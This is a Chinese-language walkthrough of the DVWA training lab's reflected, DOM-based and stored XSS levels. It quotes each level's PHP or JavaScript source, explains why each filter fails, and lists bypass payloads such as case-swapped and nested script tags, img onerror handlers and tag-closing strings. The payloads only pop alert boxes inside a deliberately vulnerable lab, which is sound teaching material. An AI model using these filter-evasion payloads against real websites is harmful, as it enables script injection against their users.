2. 程式人生 > 實用技巧 >DVWA(xss部分原始碼分析)

DVWA(xss部分原始碼分析)

阿新 • • 發佈：2020-07-15

前言

DVWA靶場都不陌生，最新學習xss，從新又搞了一遍xss部分，從原始碼方面康康xss的原因，參考了很多大佬的部落格表示感謝，網上也有很多DVWA靶場教程，就水一篇吧。

更多web安全知識歡迎訪問:https://lmg66.github.io/-------->防止爬蟲

環境配置

官網:http://www.dvwa.co.uk/

下載地址:https://github.com/ethicalhack3r/DVWA

下載方式:zip下載或git https://github.com/ethicalhack3r/DVWA

下載完成放入http服務下即可

我使用的是phpstudy下載地址:https://m.xp.cn/

反射性xss

級別low

檢視原始碼:
<?php

header ("X-XSS-Protection: 0");

// Is there any input?

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

	// Feedback for end user

	$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';

}

?>
分析

name變數沒有過濾，直接輸出

payload

/vulnerabilities/xss_r/?name=<script>alert('xss')<%2Fscript>#

級別:Medium

檢視原始碼
<?php

header ("X-XSS-Protection: 0");

// Is there any input?

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

	// Get input

	$name = str_replace( '<script>', '', $_GET[ 'name' ] );

	// Feedback for end user
 

	$html .= "<pre>Hello ${name}</pre>";

}

?>
分析

這裡用正則表達過濾標籤,正則的匹配有缺陷大小問題，而且只是匹配了一次可以巢狀，而且只是過濾還可以用其他標籤代替來觸發反射性xss

payload
vulnerabilities/xss_r/?name=<Script>alert('xss')<%2FScript>#

vulnerabilities/xss_r/?name=<img+src%3Dx+onerror%3Dalert('XSS')>#

/vulnerabilities/xss_r/?name=<s<script>cript>alert('XSS')<%2Fscript>#





級別:high

檢視原始碼
<?php

header ("X-XSS-Protection: 0");

// Is there any input?

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

	// Get input

	$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

	// Feedback for end user

	$html .= "<pre>Hello ${name}</pre>";

}

?>
分析

不區分大小寫，而且萬用字元匹配，巢狀無法使用，可以嘗試其他標籤觸發彈窗

payload

/vulnerabilities/xss_r/?name=<img+src%3D"xss"+onerror%3Dalert('xss')>#

級別:impossible

檢視原始碼:
<?php

// Is there any input?

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

	// Check Anti-CSRF token

	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input

	$name = htmlspecialchars( $_GET[ 'name' ] );

	// Feedback for end user

	$html .= "<pre>Hello ${name}</pre>";

}

// Generate Anti-CSRF token

generateSessionToken();

?>
分析

name變數通過htmlspecialchars()函式把預定的字元轉為HTML實體，且輸入到 

標籤裡，所以佔時







DOM型xss


級別:low


檢視原始碼:


<div class="vulnerable_code_area">

<p>Please choose a language:</p>

<form name="XSS" method="GET">

            <select name="default">

                <script>

                    if (document.location.href.indexOf("default=") >= 0) {

                        var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);

                        document.write("<option value='" + lang + "'>" + $decodeURI(lang) + "</option>");

                        document.write("<option value='' disabled='disabled'>----</option>");

                    }

                    document.write("<option value='English'>English</option>");

                    document.write("<option value='French'>French</option>");

                    document.write("<option value='Spanish'>Spanish</option>");

                    document.write("<option value='German'>German</option>");

                </script>

            </select>

            <input type="submit" value="Select" />

        </form>

</div>




分析


lang變數通過document.location.href來獲取url，並沒有過濾就輸入到了option標籤中








payload




級別:Medium


檢視原始碼:


<?php

// Is there any input?

if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

	$default = $_GET['default'];

	# Do not allow script tags

	if (stripos ($default, "<script") !== false) {

		header ("location: ?default=English");

		exit;

	}

}

?>




分析


對default變數進行了過濾，通過stripos()函式查詢在default中的位置(不區分大小寫)，如果匹配到，則變為default=English,但是可以使用其他標籤來繞過，先要閉合和標籤








payload:


/vulnerabilities/xss_d/?default=English </option></select><img src=x onerror=alert('XSS')>

/vulnerabilities/xss_d/?default=English<input onclick=alert('XSS') />










級別:high


檢視原始碼:


<?php

// Is there any input?

if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

	# White list the allowable languages

	switch ($_GET['default']) {

		case "French":

		case "English":

		case "German":

		case "Spanish":

			# ok

			break;

		default:

			header ("location: ?default=English");

			exit;

	}

}

?>




分析


使用白名單，進行匹配，如果值不為就default=English，但是隻是對default進行了過濾，可以使用其他變數，document.location.href來獲取url，仍然會輸出到標籤中顯示，當然也可以用註釋符號#


payload:


/vulnerabilities/xss_d/?default=English&a=</option></select><img src=x onerror=alert('XSS')>

/vulnerabilities/xss_d/?default=English&a=?default=English&a=<input onclick=alert('XSS') />

/vulnerabilities/xss_d/?default=English#<input onclick=alert('XSS') />

/vulnerabilities/xss_d/?default=English#</option></select><script>alert('xss')</script>)
















級別:impossible


檢視原始碼:


# For the impossible level, don't decode the querystring

$decodeURI = "decodeURI";

if ($vulnerabilityFile == 'impossible.php') {

	$decodeURI = "";

}




分析:


如果是impossible難度則decodeURI=""，意思就是不解碼，那麼標籤就會被過濾，無法閉合標籤和建立新標籤，所以無法xss





儲存型xss


級別:low


檢視原始碼:


<?php

if( isset( $_POST[ 'btnSign' ] ) ) {

	// Get input

	$message = trim( $_POST[ 'mtxMessage' ] );

	$name    = trim( $_POST[ 'txtName' ] );

	// Sanitize message input

	$message = stripslashes( $message );

	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Sanitize name input

	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Update database

	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";

	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	//mysql_close();

}

?>




分析:trim()函式 stripslashes() 函式 mysqli_real_escape_string() 函式只是對/型別的處理過濾轉碼，主要是對資料庫的保護並未設計的xss的內容，故可以直接xss











payload


name:Lmg66

message:<script>alert('xss')</script>






級別:medium


檢視原始碼:


<?php

if( isset( $_POST[ 'btnSign' ] ) ) {

	// Get input

	$message = trim( $_POST[ 'mtxMessage' ] );

	$name    = trim( $_POST[ 'txtName' ] );

	// Sanitize message input

	$message = strip_tags( addslashes( $message ) );

	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	$message = htmlspecialchars( $message );

	// Sanitize name input

	$name = str_replace( '<script>', '', $name );

	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Update database

	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";

	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	//mysql_close();

}

?>




分析:


對name用str_replace()是區分大小寫的，可以大寫繞過，只是匹配了一次可以巢狀繞過，也可以使用其他的標籤


對message，addslashes()函式在預定字元加/，strip_tags()函式剝去字串中HTML，XML，以及php標籤，htmlspecialchars()函式預定的函式轉換為HTML實體，基本都過濾和轉義了，所以突破name變數，name變數限制了輸出長度，要F12更改name的maxlength














payload:


name:<Script>alert('xss')</script>

message:Lmg66

name:<s<script>cript>alert('xss')</script>

message:Lmg66

name:<img src='xss' onerror=alert('xss')>

message:Lmg66




級別:high


檢視原始碼:


<?php

if( isset( $_POST[ 'btnSign' ] ) ) {

	// Get input

	$message = trim( $_POST[ 'mtxMessage' ] );

	$name    = trim( $_POST[ 'txtName' ] );

	// Sanitize message input

	$message = strip_tags( addslashes( $message ) );

	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	$message = htmlspecialchars( $message );

	// Sanitize name input

	$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );

	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Update database

	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";

	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	//mysql_close();

}

?>




分析:


對message和上一個一樣，沒希望突破，對name來說preg_replace( '/<(.)s(.)c(.)r(.)i(.)p(.)t/i', '', $name )之前反射型xss見過，不區分大小寫，萬用字元過濾，可以使用其他標籤,name同樣限制了長度，F12改一下maxlength="100"


payload:


name:<img src='xss' onerror=alert('xss')>

message:Lmg66




級別:impossible


檢視原始碼:


<?php

if( isset( $_POST[ 'btnSign' ] ) ) {

	// Check Anti-CSRF token

	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input

	$message = trim( $_POST[ 'mtxMessage' ] );

	$name    = trim( $_POST[ 'txtName' ] );

	// Sanitize message input

	$message = stripslashes( $message );

	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	$message = htmlspecialchars( $message );

	// Sanitize name input

	$name = stripslashes( $name );

	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	$name = htmlspecialchars( $name );

	// Update database

	$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );

	$data->bindParam( ':message', $message, PDO::PARAM_STR );

	$data->bindParam( ':name', $name, PDO::PARAM_STR );

	$data->execute();

}

// Generate Anti-CSRF token

generateSessionToken();

?>




分析:


對name和message都進行了嚴格過濾

相關推薦

DVWA(xss部分原始碼分析)

前言 DVWA靶場都不陌生，最新學習xss，從新又搞了一遍xss部分，從原始碼方面康康xss的原因，參考了很多大佬的部落格表示感謝，網上也有很多DVWA靶場教程，就水一篇吧。

基於個人理解的springAOP部分原始碼分析，內含較多原始碼，慎入

本文原始碼較多，講述一些個人對spring中AOP程式設計的一個原始碼分析理解，只代表個人理解，希望能和大家進行交流，有什麼錯誤也渴求指點！！！接下來進入正題

ThreadLocal部分原始碼分析

結構演進 早起JDK版本中，ThreadLocal內部結構是一個Map，執行緒為key，執行緒在“執行緒本地變數”中繫結的值為Value。每一個ThreadLocal例項擁有一個Map例項。（Key是執行緒，Value是值）

xss小遊戲原始碼分析

配置 下載地址:https://files.cnblogs.com/files/Lmg66/xssgame-master.zip 使用:下載解壓，放到www目錄下(phpstudy)，http服務下都行，我使用的是phpstudy

Android Framework實戰視訊--init程序的bootanimation啟動原始碼分析（補充Android 10部分的BootAnimation的啟動原始碼分析）

課程答疑和新課資訊：QQ交流群：422901085進行課程討論 FrameWork入門課視訊連結：https://edu.csdn.net/course/detail/30298

iOS 引用計數 retainCount、retain、release 原始碼分析+註釋+實驗

這篇文章與上一篇有較大的關聯，沒看過的可以先去看看 ^ _ ^ 物件alloc後retainCount為什麼引用計數為1

iOS GCDAsyncSocket原始碼分析(二)

由於上一篇文章篇幅過長移到這邊。 3.read&write 先看write //寫資料對外方法 - (void)writeData:(NSData *)data withTimeout:(NSTimeInterval)timeout tag:(long)tag

iOS GCDAsyncSocket原始碼分析(一)

序言 在上一篇文章文章中，簡單介紹了GCDAsyncSocket的使用，socket建立、連線、傳送訊息、接收訊息、關閉socket、粘包分包、以及心跳包機制。並且立下了一個flag，所以在這篇文章，將帶來GCDAsyncSocket的原始碼分析

Jetpack 之 Lifecycles 原始碼分析

LifecycleOwner LifecycleOwner 是單一方法介面，實現此介面表明此類具有生命週期 Lifecycle。

PHP 原始碼 — intval 函式原始碼分析（演演算法：字串轉換為整形）

文章來源： github.com/suhanyujie/… 作者：suhanyujie 基於PHP 7.3.3 PHP 中的 intval intval 函式的簽名從官方檔案可見：

spring cloud feign擴充套件點及原理(原始碼)分析

背景 遠端呼叫實現技術方案中,spring cloud openfeign可以說是入門簡單，使用方便。作為spring cloud家族成員，它的使用量廣泛。瞭解spring framework,spring boot,spring cloud本身就是一件技術人分內的事。進階路上

SpringIOC容器解決迴圈依賴原始碼分析

spring的ioc來解決迴圈依賴的問題，從AbstractBeanFactory#getBean方法來進行原始碼分析，spring的解決迴圈依賴的原理，可以從三個本地快取Map集合進行調解，本篇文章打算從迴圈依賴的定義來解釋，在結合原始碼進行分

7. SOFAJRaft原始碼分析—如何實現一個輕量級的物件池？

前言 我在看SOFAJRaft的原始碼的時候看到了使用了物件池的技術，看了一下感覺要吃透的話還是要新開一篇文章來講，內容也比較充實，大家也可以學到之後運用到實際的專案中去。

之江實驗室kubeedge原始碼分析群

Java 基礎：String 類原始碼分析

String 類實現介面屬性1、私有屬性私有類 CaseInsensitiveComparatorString 構造方法1、無參建構函式2、引數為 String 型別3、引數為字元陣列4、引數為 int 陣列5、引數為位元組陣列6、引數為 StringBuilder 或 Str

kubeedge原始碼分析系列之整體架構

本系列的原始碼分析是在 commit da92692baa660359bb314d89dfa3a80bffb1d26c 之上進行的。 kubeedge是一個基於kubernetes構建的開放平臺，使能邊緣計算，將容器化應用編排功能擴充套件到邊緣的節點和裝置，併為雲和邊

SpringBoot啟動流程原始碼分析(1)

SpringApplication例項化 springboot簡化spring的大量xml的配置檔案，為了實現統一化配置管理，一般引數配置

【原創】005 | 搭上SpringBoot請求處理原始碼分析專車

專車介紹 該趟專車是開往Spring Boot請求處理原始碼分析專車，主要用來分析Spring Boot是如何將我們的請求路由到指定的控制器方法以及呼叫執行。

ArrayList常用API原始碼分析

3.1、ArrayList 簡介： 底層是可改變大小的陣列結構，實現了list介面，執行緒不安全，可以加入null元素，元素有序，允許重複。適合查詢，不適合指定位置的插入（adding n elements requires O(n) time）、刪除操作。

kubeedge原始碼分析系列之edgecore（五）

本系列的原始碼分析是在 commit da92692baa660359bb314d89dfa3a80bffb1d26c 之上進行的。 cloudcore部分的原始碼分析是在kubeedge原始碼分析系列之整體架構基礎上展開的，如果沒有閱讀過kubeedge原始碼分析系列之整體